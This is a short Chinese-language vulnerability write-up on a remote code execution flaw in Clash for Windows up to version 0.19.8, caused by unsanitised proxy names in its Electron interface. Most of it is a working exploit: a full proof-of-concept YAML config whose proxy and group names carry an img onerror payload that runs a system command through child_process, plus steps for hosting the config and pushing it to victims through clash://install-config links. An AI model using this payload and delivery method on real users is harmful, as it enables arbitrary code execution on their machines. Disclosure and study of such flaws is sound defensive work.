一、ClashforWindows_RCE
Clash一个的代理软件,其支持vmess,ss,ssr等协议,通过自己的core来实现的相关代理协议。
Clash for Windows基于Clash和Electron的Windows/macOS/Linux GUI。
- Clash:一个 Go 语言开发的多平台代理客户端,Github(opens new window)
- ClashX:Clash 的 Mac 图形客户端,Github(opens new window)
- ClashForAndroid:Clash 的 Android 图形客户端,Github(opens new window)
- Clash for Windows:Clash 的 Windows/macOS 图形客户端,Github
1.1 漏洞原因
Electron提供的clash_for_windows_pkg。该产品在代理规则配置文件中未设置严格的输入检测。
如果XSSpayload以代理的name标签存在,我们就可以在受害者的计算机上远程执行任何JavaScript代码。
1.2 影响版本
- Version ≤ V0.19.8
1.3 poc:
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
1.4 exp:
将恶意配置文件放到互联网上,使用clash://安装它,clash_for_windows_pkg将下载并自动切换到它。
clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE
#编码
clash://install-config?url=http://1.1.1.1:8888/1.txt&name=RCE
#举例
clash://install-config?url=http%3A%2F%2F127.0.0.1%3A8888%2F1.txt&name=a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
参考链接:clashforwindows_pkg